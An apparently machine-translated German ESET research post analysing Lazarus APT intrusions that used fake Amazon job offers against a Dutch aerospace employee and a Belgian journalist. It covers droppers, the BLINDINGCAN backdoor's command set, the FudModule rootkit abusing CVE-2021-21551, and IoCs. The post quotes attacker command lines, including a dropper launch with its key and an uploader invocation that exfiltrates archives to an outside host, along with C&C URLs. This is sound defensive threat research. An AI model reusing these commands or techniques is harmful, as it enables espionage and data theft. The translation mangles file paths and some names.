ESET-Forscher haben Lazarus-Angriffe auf Ziele in den Niederlanden und Belgien entdeckt, die Spearphishing-E-Mails verwenden, die mit gefälschten Stellenangeboten verbunden sind
ESET-Forscher entdeckten und analysierten eine Reihe bösartiger Tools, die von der berüchtigten Lazarus APT-Gruppe bei Angriffen im Herbst 2021 verwendet wurden. Die Kampagne begann mit Spearphishing-E-Mails mit bösartigen Amazon-Dokumenten und richtete sich gegen einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden , und ein politischer Journalist in Belgien. Das primäre Ziel der Angreifer war die Datenexfiltration. Lazarus (auch bekannt als HIDDEN COBRA) ist seit mindestens 2009 aktiv. Es ist verantwortlich für hochkarätige Vorfälle wie die beiden Sony Pictures Entertainment-Hack und zig Millionen Dollar Cyberraub im Jahr 2016, der WannaCryptor (auch bekannt als WannaCry) im Jahr 2017 und eine lange Geschichte störender Angriffe gegen Südkoreanische öffentliche und kritische Infrastruktur seit mindestens 2011.
- Die Lazarus-Kampagne zielte auf einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden und einen politischen Journalisten in Belgien ab.
- Das bemerkenswerteste Tool, das in dieser Kampagne verwendet wurde, stellt den ersten aufgezeichneten Missbrauch der Schwachstelle CVE-2021-21551 dar. Diese Schwachstelle betrifft Dell DBUtil-Treiber; Dell hat im Mai 2021 ein Sicherheitsupdate bereitgestellt.
- Dieses Tool deaktiviert in Kombination mit der Schwachstelle die Überwachung aller Sicherheitslösungen auf kompromittierten Maschinen. Es verwendet Techniken gegen Windows-Kernel-Mechanismen, die noch nie zuvor bei Malware beobachtet wurden.
- Lazarus verwendete in dieser Kampagne auch seine voll ausgestattete HTTP(S)-Hintertür, bekannt als BLINDINGCAN.
- Die Komplexität des Angriffs deutet darauf hin, dass Lazarus aus einem großen Team besteht, das systematisch organisiert und gut vorbereitet ist.
Beiden Zielen wurden Stellenangebote präsentiert – der Mitarbeiter in den Niederlanden erhielt einen Anhang über LinkedIn Messaging, und die Person in Belgien erhielt ein Dokument per E-Mail. Angriffe begannen, nachdem diese Dokumente geöffnet wurden. Die Angreifer setzten auf jedem System mehrere bösartige Tools ein, darunter Dropper, Loader, voll ausgestattete HTTP(S)-Backdoors, HTTP(S)-Uploader und -Downloader. Die Gemeinsamkeit zwischen den Droppern war, dass es sich um trojanisierte Open-Source-Projekte handelt, die die eingebettete Nutzlast mithilfe moderner Blockchiffren mit langen Schlüsseln entschlüsseln, die als Befehlszeilenargumente übergeben werden. In vielen Fällen handelt es sich bei schädlichen Dateien um DLL-Komponenten, die von legitimen EXEs quergeladen wurden, jedoch von einer ungewöhnlichen Stelle im Dateisystem.
Das bemerkenswerteste von den Angreifern gelieferte Tool war ein Benutzermodusmodul, das die Fähigkeit zum Lesen und Schreiben des Kernelspeichers aufgrund von erlangte CVE-2021-21551 Schwachstelle in einem legitimen Dell-Treiber. Dies ist der erste dokumentierte Missbrauch dieser Schwachstelle in freier Wildbahn. Die Angreifer nutzten dann ihren Schreibzugriff auf den Kernelspeicher, um sieben Mechanismen zu deaktivieren, die das Windows-Betriebssystem zur Überwachung seiner Aktionen anbietet, wie Registrierung, Dateisystem, Prozesserstellung, Ereignisverfolgung usw., wodurch Sicherheitslösungen auf sehr generische und robuste Weise geblendet werden.
In diesem Blogpost erläutern wir den Kontext der Kampagne und liefern eine detaillierte technische Analyse aller Komponenten. Diese Forschung wurde auf der diesjährigen präsentiert Virus Bulletin-Konferenz. Aufgrund der Originalität liegt der Schwerpunkt der Präsentation auf der bösartigen Komponente, die bei diesem Angriff verwendet wird, der die Bring Your Own Vulnerable Driver (BYOVD)-Technik verwendet und die oben erwähnte Schwachstelle CVE-2021-21551 nutzt. Detaillierte Informationen finden Sie im Whitepaper Lazarus & BYOVD: Böses für den Windows-Kern.
Wir schreiben diese Angriffe mit hoher Zuversicht Lazarus zu, basierend auf den spezifischen Modulen, dem Code-Signing-Zertifikat und dem Angriffsansatz, den sie mit früheren Lazarus-Kampagnen wie z Bedienung In (ter) ception und Betrieb DreamJob. Die Vielfalt, Anzahl und Exzentrizität bei der Durchführung von Lazarus-Kampagnen definieren diese Gruppe ebenso wie die Tatsache, dass sie alle drei Säulen cyberkrimineller Aktivitäten ausführt: Cyberspionage, Cybersabotage und das Streben nach finanziellem Gewinn.
Erster Zugriff
ESET-Forscher entdeckten zwei neue Angriffe: einen gegen das Personal eines Medienunternehmens in Belgien und einen gegen einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden.
In den Niederlanden betraf der Angriff einen mit dem Unternehmensnetzwerk verbundenen Windows 10-Computer, wo ein Mitarbeiter über LinkedIn Messaging über einen vermeintlichen potenziellen neuen Job kontaktiert wurde, was dazu führte, dass eine E-Mail mit einem Dokumentenanhang gesendet wurde. Wir haben den Sicherheitsexperten des betroffenen Unternehmens kontaktiert, der das schädliche Dokument mit uns teilen konnte. Die Word-Datei Amzon_Niederlande.docx an das Ziel gesendet wird, ist lediglich ein Gliederungsdokument mit einem Amazon-Logo (siehe Abbildung 1). Beim Öffnen die Remote-Vorlage https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (woher ist eine siebenstellige Zahl) wird abgerufen. Wir konnten den Inhalt nicht erwerben, gehen aber davon aus, dass er möglicherweise ein Stellenangebot für das Amazon-Weltraumprogramm enthielt, Projekt kuiper. Dies ist eine Methode, die Lazarus in den Jahren praktizierte Bedienung In (ter) ception und Betrieb DreamJob Kampagnen, die auf die Luft- und Raumfahrt- und Verteidigungsindustrie abzielen.
Innerhalb weniger Stunden wurden mehrere bösartige Tools an das System geliefert, darunter Dropper, Loader, voll funktionsfähige HTTP(S)-Backdoors, HTTP(S)-Uploader und HTTP(S)-Downloader; siehe Abschnitt Toolset.
In Bezug auf den Angriff in Belgien wurde der Mitarbeiter eines Journalistenunternehmens (dessen E-Mail-Adresse auf der Website des Unternehmens öffentlich zugänglich war) über eine E-Mail-Nachricht mit dem Köder kontaktiert AWS_EMEA_Legal_.docx angebracht. Da wir das Dokument nicht erhalten haben, kennen wir nur seinen Namen, was darauf hindeutet, dass es sich möglicherweise um ein Stellenangebot in einer legalen Position handelt. Nach dem Öffnen des Dokuments wurde der Angriff ausgelöst, aber von ESET-Produkten sofort gestoppt, da nur eine bösartige ausführbare Datei beteiligt war. Das Interessante dabei ist, dass diese Binärdatei damals mit einem Code-Signing-Zertifikat gültig signiert war.
Anrechnung
Wir schreiben beide Angriffe mit hoher Sicherheit der Lazarus-Gruppe zu. Dies basiert auf folgenden Faktoren, die Bezüge zu anderen Lazarus-Kampagnen aufweisen:
- Malware (das Intrusion Set):
- Die HTTPS-Hintertür (SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) hat starke Ähnlichkeiten mit der BLINDINGCAN-Hintertür, berichtet von CISA (US-CERT), und HIDDEN COBRA zugeschrieben, was ihr Codename für Lazarus ist.
- Der HTTP(S)-Uploader weist starke Ähnlichkeiten mit dem Tool auf C:ProgrammdatenIBM~DF234.TMP erwähnt in der Bericht von HvS Consulting, Abschnitt 2.10 Exfiltration.
- Der vollständige Dateipfad und -name, %ALLUSERSPROFILE%AdobeAdobe.tmp, ist identisch mit dem, über den Kaspersky im Februar 2021 in einem Whitepaper über Lazarus berichtete Operation ThreatNeedle, das auf die Verteidigungsindustrie abzielt.
- Das Code-Signing-Zertifikat, das auf das US-Unternehmen ausgestellt wurde „A“ MEDIZINISCHES BÜRO, PLLC und verwendet, um einen der Dropper zu signieren, wurde ebenfalls gemeldet die Kampagne gegen Sicherheitsforscher; siehe auch Lazarus-Gruppe: Kampagne 2 TOY GUYS, ESET Bedrohungsbericht 2021 T1, Seite 11.
- In den Tools dieser Lazarus-Kampagne wurde eine ungewöhnliche Art der Verschlüsselung eingesetzt: HC-128. Andere weniger verbreitete Chiffren, die in der Vergangenheit von Lazarus verwendet wurden: eine Spritz-Variante von RC4 in die Watering-Hole-Angriffe auf polnische und mexikanische Banken; später verwendete Lazarus einen modifizierten RC4 in Bedienung In (ter) ception; in wurde eine modifizierte A5/1-Stream-Chiffre verwendet WIZVERA VeraPort-Lieferkettenangriff.
- Infrastruktur:
- Für den First-Level-C&C-Server nutzen die Angreifer keine eigenen Server, sondern hacken bestehende. Dies ist ein typisches, aber schwaches Selbstvertrauensverhalten von Lazarus.
Werkzeugsatz
Eines der typischen Merkmale von Lazarus ist die Lieferung der endgültigen Nutzlast in Form einer Sequenz von zwei oder drei Stufen. Es beginnt mit einem Dropper – normalerweise eine trojanisierte Open-Source-Anwendung – der die eingebettete Nutzlast mit einer modernen Blockchiffre wie AES-128 entschlüsselt (was für Lazarus nicht ungewöhnlich ist, z. Vorgangsbuchcodes, oder ein verschleiertes XOR, nachdem die Befehlszeilenargumente für einen starken Schlüssel analysiert wurden. Obwohl die eingebettete Nutzlast nicht auf das Dateisystem abgelegt, sondern direkt in den Arbeitsspeicher geladen und ausgeführt wird, bezeichnen wir solche Malware als Dropper. Malware, die keinen verschlüsselten Puffer hat, aber eine Nutzlast aus einem Dateisystem lädt, bezeichnen wir als Loader.
Die Dropper können (Tabelle 1) oder nicht (Tabelle 2) von einem legitimen (Microsoft)-Prozess quergeladen werden. Im ersten Fall befindet sich die legitime Anwendung an einem ungewöhnlichen Ort und die schädliche Komponente trägt den Namen der entsprechenden DLL, die sich unter den Importen der Anwendung befindet. Zum Beispiel die bösartige DLL coloui.dll wird von einer legitimen Systemanwendung Color Control Panel (colorcpl.exe), beide befinden sich in C:ProgrammdatenPTC. Der übliche Ort für diese legitime Anwendung ist jedoch %WINDOWS%System32.
In allen Fällen wird während der Laufzeit mindestens ein Befehlszeilenargument übergeben, das als externer Parameter dient, der zum Entschlüsseln der eingebetteten Nutzdaten erforderlich ist. Es werden verschiedene Entschlüsselungsalgorithmen verwendet; siehe letzte Spalte in Tabelle 1 und Tabelle 2. In mehreren Fällen, in denen AES-128 verwendet wird, gibt es auch einen internen, hartcodierten Parameter zusammen mit dem Namen des übergeordneten Prozesses und seinem DLL-Namen, die alle für eine erfolgreiche Entschlüsselung erforderlich sind.
Tabelle 1. Schädliche DLLs, die von einem legitimen Prozess von einem ungewöhnlichen Speicherort quergeladen wurden
Standortordner | Legitimer Elternprozess | Schädliche seitlich geladene DLL | Trojanisches Projekt | Externer Parameter | Entschlüsselungsalgorithmus |
---|---|---|---|---|---|
C:ProgrammdatenPTC | colorcpl.exe | colorui.dll | libcrypto von LibreSSL 2.6.5 | BE93E050D9C0EAEB1F0E6AE13C1595B5 (Lädt BLINDINGCAN) |
XOR |
C:WindowsVss | WFS.exe | credui.dll | GOnpp v1.2.0.0 (Notepad++-Plugin) | A39T8kcfkXymmAcq (Lädt den Zwischenlader) |
AES-128 |
C: Windows-Sicherheit | WFS.exe | credui.dll | FingerText 0.56.1 (Notepad++-Plugin) | N / A | AES-128 |
C:ProgramDataCapyon | wsmprovhost.exe | mi.dll | lecui 1.0.0 Alpha 10 | N / A | AES-128 |
C:WindowsMicrosoft.NETFramework64v4.0.30319 | SMSvcHost.exe | cryptsp.dll | lecui 1.0.0 Alpha 10 | N / A | AES-128 |
Tabelle 2. Andere an dem Angriff beteiligte Malware
Standortordner | Malware | Trojanisches Projekt | Externer Parameter | Entschlüsselungsalgorithmus |
---|---|---|---|---|
C:Öffentlicher Cache | msdxm.ocx | libpcre 8.44 | 93E41C6E20911B9B36BC (Lädt den HTTP(S)-Downloader) |
XOR |
C:ProgramDataAdobe | Adobe.tmp | SQLite 3.31.1 | S0RMM-50QQE-F65DN-DCPYN-5QEQA (Lädt den HTTP(S)-Updater) |
XOR |
C:Öffentlicher Cache | msdxm.ocx | sslSniffer | Vermisst | HC-128 |
Nach erfolgreicher Entschlüsselung wird der Puffer auf das richtige PE-Format überprüft und ihm die Ausführung übergeben. Dieses Verfahren ist in den meisten Droppern und Loadern zu finden. Der Anfang ist in Bild 2 zu sehen.
HTTP(S)-Hintertür: BLINDINGCAN
Wir identifizierten eine voll funktionsfähige HTTP(S)-Hintertür – eine RAT namens BLINDINGCAN – die bei dem Angriff verwendet wurde.
Der Dropper dieser Nutzlast wurde ausgeführt als %ALLUSERSPROFILE%PTCcolorui.dll; siehe Tabelle 1 für Einzelheiten. Die Nutzdaten werden mit einem einfachen XOR extrahiert und entschlüsselt, aber mit einem langen Schlüssel, der eine Zeichenfolge ist, die durch Verketten des Namens des übergeordneten Prozesses, des eigenen Dateinamens und des externen Befehlszeilenparameters – hier – gebildet wird COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.
Die Nutzlast, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, ist eine 64-Bit-VMProtect-ed-DLL. Es wird eine Verbindung zu einem der entfernten Standorte hergestellt https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Innerhalb des virtualisierten Codes schwenkten wir über die folgenden sehr spezifischen RTTI-Artefakte, die in der ausführbaren Datei gefunden wurden: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Außerdem gibt es eine Ähnlichkeit auf Code-Ebene, da die Indizes der Befehle mit demselben Wert beginnen, 8201; siehe Abbildung 3. Dies half uns, diese RAT als BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), erstmals berichtet von CISA. Die jüngste Version dieser Payload wurde in einer anderen Amazon-Kampagne beobachtet, bei der BLINDINGCAN von einem trojanisierten Putty-0.77-Client abgelegt wurde: siehe Mandiants Blog.
Basierend auf der Anzahl der Befehlscodes, die dem Bediener zur Verfügung stehen, ist es wahrscheinlich, dass ein serverseitiger Controller verfügbar ist, mit dem der Bediener kompromittierte Systeme steuern und untersuchen kann. Aktionen, die innerhalb dieses Controllers ausgeführt werden, führen wahrscheinlich dazu, dass die entsprechenden Befehls-IDs und ihre Parameter an die RAT gesendet werden, die auf dem System des Ziels ausgeführt wird. Die Liste der Befehlscodes befindet sich in Tabelle 3 und stimmt mit der von durchgeführten Analyse überein JPCERT/CC, Anhang C. Es gibt keine Validierungsprüfungen von Parametern wie Ordner- oder Dateinamen. Das bedeutet, dass alle Prüfungen auf der Serverseite implementiert werden müssen, was darauf hindeutet, dass der serverseitige Controller eine komplexe Anwendung ist, sehr wahrscheinlich mit einer benutzerfreundlichen GUI.
Tabelle 3. Die Befehle der RAT
Befehl | Beschreibung |
---|---|
8201 | Senden Sie Systeminformationen wie Computername, Windows-Version und die Codepage. |
8208 | Rufen Sie die Attribute aller Dateien in zugeordneten RDP-Ordnern ab (tclientC etc.). |
8209 | Ruft rekursiv die Attribute lokaler Dateien ab. |
8210 | Führen Sie einen Befehl in der Konsole aus, speichern Sie die Ausgabe in einer temporären Datei und laden Sie sie hoch. |
8211 | Zip-Dateien in einem temporären Ordner und laden Sie sie hoch. |
8212 | Laden Sie eine Datei herunter und aktualisieren Sie ihre Zeitinformationen. |
8214 | Erstellen Sie einen neuen Prozess in der Konsole und sammeln Sie die Ausgabe. |
8215 | Erstellen Sie einen neuen Prozess im Sicherheitskontext des Benutzers, der durch das angegebene Token dargestellt wird, und sammeln Sie die Ausgabe. |
8217 | Erstellen Sie rekursiv eine Prozessbaumliste. |
8224 | Beenden Sie einen Prozess. |
8225 | Löschen Sie eine Datei sicher. |
8226 | Nicht blockierende E/A über TCP-Socket aktivieren (socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) mit dem FIONBIO-Steuercode). |
8227 | Legen Sie das aktuelle Verzeichnis für den aktuellen Prozess fest. |
8231 | Aktualisieren Sie die Zeitinformationen der ausgewählten Datei. |
8241 | Senden Sie die aktuelle Konfiguration an den C&C-Server. |
8242 | Aktualisieren Sie die Konfiguration. |
8243 | Listen Sie die Verzeichnisstruktur rekursiv auf. |
8244 | Rufen Sie den Typ und den freien Speicherplatz eines Laufwerks ab. |
8249 | Fahren Sie mit dem nächsten Befehl fort. |
8256 | Fordern Sie einen weiteren Befehl vom C&C-Server an. |
8262 | Schreiben Sie eine Datei neu, ohne ihre letzte Schreibzeit zu ändern. |
8264 | Kopieren Sie eine Datei an ein anderes Ziel. |
8265 | Verschieben Sie eine Datei an ein anderes Ziel. |
8272 | Löschen Sie eine Datei. |
8278 | Mach ein Bildschirmfoto. |
Zwischenlader
Nun beschreiben wir eine dreistufige Kette, bei der wir leider nur die ersten beiden Stufen identifizieren konnten: einen Dropper und einen Zwischenlader.
An der ersten Stufe befindet sich ein Tropfer C:WindowsVsscredui.dll und wurde über eine legitime – aber anfällige Anwendung für das Hijacking von DLL-Suchaufträgen – mit dem (externen) Parameter ausgeführt C:WindowsVssWFS.exe A39T8kcfkXymmAcq. Das Programm WFS.exe ist eine Kopie der Windows-Fax- und Scan-Anwendung, aber ihr Standardspeicherort ist %WINDOWS%System32.
Der Dropper ist ein Trojaner GOnpp-Plugin für Notepad++, geschrieben in der Programmiersprache Go. Nach der Entschlüsselung überprüft der Dropper, ob der Puffer eine gültige 64-Bit-Ausführungsdatei ist, und lädt sie dann in den Arbeitsspeicher, sodass die zweite Stufe zur Ausführung bereit ist.
Das Ziel dieser Zwischenstufe besteht darin, eine zusätzliche Nutzlast in den Speicher zu laden und auszuführen. Es führt diese Aufgabe in zwei Schritten aus. Es liest und entschlüsselt zuerst die Konfigurationsdatei C:windowsSystem32wlansvc.cpl, die nicht, wie ihre Erweiterung vermuten lässt, eine (verschlüsselte) ausführbare Datei ist, sondern eine Datendatei, die Teile von 14944 Bytes mit Konfiguration. Wir hatten nicht die speziellen Daten des aktuellen Angriffs; Wir haben jedoch eine solche Konfiguration von einem anderen Lazarus-Angriff erhalten: siehe Abbildung 5. Es wird erwartet, dass die Konfiguration mit einem Doppelwort beginnt, das die Gesamtgröße des verbleibenden Puffers darstellt (siehe Zeile 69 in Abbildung 4 unten und die Variable u32Gesamtgröße), gefolgt von einem Array von 14944 bytelange Strukturen, die mindestens zwei Werte enthalten: den Namen der ladenden DLL als Platzhalter zum Identifizieren des Rests der Konfiguration (am Offset 168 von Zeile 74 in Abbildung 4 und dem hervorgehobenen Mitglied in Abbildung 5).
Der zweite Schritt ist das Lesen, Entschlüsseln und Laden dieser Datei, die sehr wahrscheinlich die dritte und letzte Stufe darstellt. Es wird erwartet, dass es sich um eine ausführbare 64-Bit-Datei handelt, die auf die gleiche Weise in den Speicher geladen wird, wie der Dropper der ersten Stufe den Zwischenlader behandelt hat. Zu Beginn der Ausführung wird ein Mutex als Verkettung der Zeichenfolge erstellt GlobalAppCompatCacheObject und die CRC32-Prüfsumme seines DLL-Namens (credui.dll) als vorzeichenbehaftete Ganzzahl dargestellt. Der Wert sollte gleich sein GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existiert und -1387282152 Andernfalls.
Eine interessante Tatsache ist die Verwendung dieses Entschlüsselungsalgorithmus (Abbildung 4, Zeile 43 & 68), der weder im Lazarus-Toolset noch in Malware im Allgemeinen so weit verbreitet ist. Die Konstanten 0xB7E15163 und 0x61C88647 (welches ist -0x9E3779B9; siehe Abbildung 6, Zeile 29 & 35) in die Schlüsselerweiterung schlägt vor, dass es sich entweder um den RC5- oder den RC6-Algorithmus handelt. Durch Überprüfen der Hauptentschlüsselungsschleife des Algorithmus erkennt man, dass es sich um die komplexere der beiden, RC6, handelt. Ein Beispiel für eine ausgeklügelte Bedrohung, die solch eine ungewöhnliche Verschlüsselung verwendet, ist BananaUsurper von Equations Group; sehen Bericht von Kaspersky von 2016.
HTTP(S)-Downloader
Ein Downloader, der die HTTP(S)-Protokolle verwendet, wurde ebenfalls auf das System des Ziels geliefert.
Es wurde von einem Dropper der ersten Stufe installiert (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), die ein Trojaner ist libpcre-8.44 Bibliothek. Es wurde vom Befehl ausgeführt
cmd.exe /c start /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC
(der Parameter ist ein XOR-Schlüssel zum Extrahieren der eingebetteten Nutzdaten; siehe Tabelle 2). Der Dropper erreicht auch Persistenz, indem er die erstellt OneNoteTray.LNK Datei befindet sich in der %APPDATA%MicrosoftWindowsStartmenüProgrammeStart -Ordner.
Die zweite Stufe ist ein 32-Bit-VMProtect-ed-Modul, das eine HTTP-Verbindungsanfrage an einen C&C-Server stellt, der in seiner Konfiguration gespeichert ist; siehe Abbildung 7. Es verwendet denselben User Agent – Mozilla/5.0 (Windows NT 6.1; WOW64) Chrom/28.0.1500.95 Safari/537.36 – enthält als BLINDINGCAN RAT das RTTI-Artefakt .?AVCHTTP_Protokoll@@ aber nicht .?AVCFileRW@@, und es fehlen Funktionen wie das Aufnehmen von Screenshots, das Archivieren von Dateien oder das Ausführen eines Befehls über die Befehlszeile. Es ist in der Lage, eine ausführbare Datei in einen neu zugewiesenen Speicherblock zu laden und die Codeausführung an ihn weiterzuleiten.
HTTP(S)-Uploader
Dieses Lazarus-Tool ist für die Datenexfiltration verantwortlich, indem es die HTTP- oder HTTPS-Protokolle verwendet.
Die Lieferung erfolgt ebenfalls in zwei Etappen. Der anfängliche Dropper ist ein Trojaner sqlite-3.31.1 Bibliothek. Lazarus-Samples enthalten normalerweise keinen PDB-Pfad, aber dieser Loader hat einen, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, was auch gleich seine Funktionalität suggeriert – ein HTTP-Uploader.
Der Dropper erwartet mehrere Befehlszeilenparameter: Einer davon ist ein Passwort, das zum Entschlüsseln und Laden der eingebetteten Nutzdaten erforderlich ist; die restlichen Parameter werden an die Payload übergeben. Wir haben die Parameter nicht mitbekommen, aber glücklicherweise wurde bei einer forensischen Untersuchung von eine in-the-wild-Nutzung dieses Tools beobachtet HvS-Beratung:
C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080
Der erste Parameter, S0RMM-50QQE-F65DN-DCPYN-5QEQA, fungierte als Schlüssel für die Entschlüsselungsroutine des Droppers (genauer gesagt wurde zuerst eine Verschleierung durchgeführt, bei der der verschlüsselte Puffer XOR-verknüpft wurde, wobei seine Kopie um ein Byte verschoben wurde; dann folgte eine XOR-Entschlüsselung mit dem Schlüssel). Die restlichen Parameter werden in einer Struktur gespeichert und an die zweite Stufe übergeben. Zur Erklärung ihrer Bedeutung siehe Tabelle 4.
Tabelle 4. Befehlszeilenparameter für den HTTP(S)-Updater
Parameter | Wert | Erläuterung |
---|---|---|
1 | S0RMM-50QQE-F65DN-DCPYN-5QEQA | Ein 29-Byte-Entschlüsselungsschlüssel. |
2 | https:// | C&C für Datenexfiltration. |
3 | C:ProgramDataIBMrestore0031.dat | Der Name eines lokalen RAR-Volumes. |
4 | data03 | Der Name des Archivs auf der Serverseite. |
5 | 10,000 | Die Größe eines RAR-Splits (max. 200,000 kB). |
6 | N / A | Anfangsindex eines Splits. |
7 | N / A | Endindex eines Splits. |
8 | -p 192.168.1.240 8080 | Ein Schalter -p |
9 | Proxy-IP-Adresse | |
10 | Proxy-Port |
Die zweite Stufe ist der HTTP-Uploader selbst. Der einzige Parameter für diese Stufe ist eine Struktur, die den C&C-Server für die Exfiltration enthält, den Dateinamen eines lokalen RAR-Archivs, den Root-Namen eines RAR-Archivs auf der Serverseite, die Gesamtgröße einer RAR-Aufteilung in Kilobyte, eine optionale Reihe von Split-Indizes und eine optionale -p Switch mit der internen Proxy-IP und einem Port; siehe Tabelle 4. Wenn beispielsweise das RAR-Archiv in 88 Chunks aufgeteilt ist, von denen jeder 10,000 kB groß ist, dann würde der Uploader diese Splits übermitteln und sie serverseitig unter Namen speichern data03.000000.avi, data03.000001.avi, ..., data03.000087.avi. Siehe Abbildung 8, Zeile 42, wo diese Zeichenfolgen formatiert sind.
Der User-Agent ist derselbe wie bei BLINDINGCAN und dem HTTP(S)-Downloader, Mozilla/5.0 (WindowsNT 6.1; WOW64) Chrom/28.0.1500.95 Safari/537.36.
FudModule-Rootkit
Wir haben eine dynamisch verknüpfte Bibliothek mit dem internen Namen FudModule.dll identifiziert, die versucht, verschiedene Windows-Überwachungsfunktionen zu deaktivieren. Dies geschieht durch Modifizieren von Kernel-Variablen und Entfernen von Kernel-Callbacks, was möglich ist, weil das Modul die Fähigkeit erwirbt, in den Kernel zu schreiben, indem es die BYOVD-Techniken nutzt – das Spezifische CVE-2021-21551 Schwachstelle im Dell-Treiber dbutil_2_3.sys.
Die vollständige Analyse dieser Malware ist als VB2022-Papier verfügbar Lazarus & BYOVD: Böse für den Windows-Kern.
Andere Malware
Bei den Angriffen wurden zusätzliche Dropper und Loader entdeckt, aber wir haben nicht die erforderlichen Parameter erhalten, um die eingebetteten Payloads oder verschlüsselten Dateien zu entschlüsseln.
Trojanisierte Lecui
Ein Projekt lecui von Alec Musafa diente den Angreifern als Codebasis für die Trojanisierung von zwei weiteren Loadern. Anhand ihrer Dateinamen wurden sie als Microsoft-Bibliotheken getarnt mi.dll (Verwaltungsinfrastruktur) und cryptsp.dll (Cryptographic Service Provider API), und dies war auf das beabsichtigte Seitenladen durch die legitimen Anwendungen zurückzuführen wsmprovhost.exe und SMSvcHost.exe, beziehungsweise; siehe Tabelle 1.
Der Hauptzweck dieser Ladeprogramme besteht darin, ausführbare Dateien zu lesen und zu entschlüsseln, die sich in befinden alternative Datenströme (ADS) bei C:ProgramDataCaphyonmi.dll:Zone.Identifier und C:ProgrammdateienWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, beziehungsweise. Da wir diese Dateien nicht erworben haben, ist nicht bekannt, welche Payload dort versteckt ist; Sicher ist jedoch nur, dass es sich um eine ausführbare Datei handelt, da der Ladevorgang auf die Entschlüsselung folgt (siehe Abbildung 2). Der Einsatz von ADS ist nicht neu, denn Ahnlab berichtet a Lazarus-Angriff auf südkoreanische Unternehmen im Juni 2021 mit solchen Techniken.
Trojanisierter FingerText
ESET hat eine weitere trojanisierte Open-Source-Anwendung blockiert, FingerText 0.5.61 von erinata, befindet sich %WINDIR%securitycredui.dll. Die korrekten Befehlszeilenparameter sind nicht bekannt. Wie in einigen der vorherigen Fälle waren drei Parameter für die AES-128-Entschlüsselung der eingebetteten Nutzlast erforderlich: der Name des übergeordneten Prozesses, WFS.exe; der interne Parameter, mg89h7MsC5Da4ANi; und der fehlende externe Parameter.
Trojanischer sslSniffer
Der Angriff auf ein Ziel in Belgien wurde früh in seiner Bereitstellungskette blockiert, sodass nur eine Datei identifiziert wurde, ein 32-Bit-Dropper, der sich unter befand C:PublicCachemsdxm.ocx. Es ist eine sslSniffer-Komponente aus der wolfSSL Trojaner-Projekt. Zum Zeitpunkt des Angriffs war es mit einem ausgestellten Zertifikat gültig signiert „A“ MEDIZINISCHES BÜRO, PLLC (siehe Abbildung 8), die mittlerweile abgelaufen ist.
Es hat zwei bösartige Exporte, die die legitime DLL nicht hat: SetOfficeCertInit und SetOfficeCert. Beide Exporte benötigen genau zwei Parameter. Der Zweck des ersten Exports besteht darin, Persistenz durch Erstellen herzustellen OfficeSync.LNK, gelegen in %APPDATA%MicrosoftWindowsStartmenüProgrammeStart, zeigt auf die bösartige DLL und führt ihren zweiten Export über rundll32.exe mit den an sich selbst übergebenen Parametern aus.
Der zweite Export, SetOfficeCert, verwendet den ersten Parameter als Schlüssel zum Entschlüsseln der eingebetteten Nutzlast, aber wir konnten ihn nicht extrahieren, da uns der Schlüssel nicht bekannt ist.
Interessant ist auch der Entschlüsselungsalgorithmus, den die Angreifer verwenden HC-128 mit dem 128-Bit-Schlüssel als erstem Parameter und für seinen 128-Bit-Initialisierungsvektor die Zeichenfolge ffffffffffffffff. Die Konstanten, die die Chiffre offenbaren, sind in Abbildung 10 dargestellt.
Zusammenfassung
Bei diesem Angriff, wie auch bei vielen anderen Angriffen, die Lazarus zugeschrieben werden, haben wir gesehen, dass viele Tools sogar auf einem einzelnen Zielendpunkt in einem Netzwerk von Interesse verteilt wurden. Ohne Zweifel ist das Team hinter dem Angriff ziemlich groß, systematisch organisiert und gut vorbereitet. Zum ersten Mal in freier Wildbahn konnten die Angreifer CVE-2021-21551 nutzen, um die Überwachung aller Sicherheitslösungen auszuschalten. Dies wurde nicht nur im Kernel-Bereich durchgeführt, sondern auch auf robuste Weise unter Verwendung einer Reihe von wenig oder nicht dokumentierten Windows-Interna. Zweifellos erforderte dies tiefgreifende Forschungs-, Entwicklungs- und Testfähigkeiten.
Aus Sicht der Verteidiger scheint es einfacher, die Möglichkeiten des anfänglichen Zugriffs einzuschränken, als das robuste Toolset zu blockieren, das installiert wird, nachdem entschlossene Angreifer im System Fuß gefasst haben. Wie in vielen Fällen in der Vergangenheit war auch hier ein Mitarbeiter, der den Ködern der Angreifer zum Opfer fiel, der erste Punkt des Scheiterns. In sensiblen Netzwerken sollten Unternehmen darauf bestehen, dass Mitarbeiter ihren persönlichen Interessen, wie beispielsweise der Stellensuche, nicht auf Geräten nachgehen, die zur Infrastruktur ihres Unternehmens gehören.
ESET Research bietet jetzt auch private APT-Geheimdienstberichte und Daten-Feeds an. Bei Fragen zu diesem Service besuchen Sie bitte die ESET Threat Intelligence
IoCs
Eine umfassende Liste von Indikatoren für Kompromittierung und Beispiele finden Sie in unserem GitHub Repository.
SHA-1 | Dateiname | Entdeckung | Beschreibung |
---|---|---|---|
296D882CB926070F6E43C99B9E1683497B6F17C4 | FudModule.dll | Win64/Rootkit.NukeSped.A | Ein Benutzermodusmodul, das mit dem Kernelspeicher arbeitet. |
001386CBBC258C3FCC64145C74212A024EAA6657 | C:PublicCachemsdxm.ocx | Win32/NukeSped.KQ | Ein Dropper des HTTP(S)-Downloaders. |
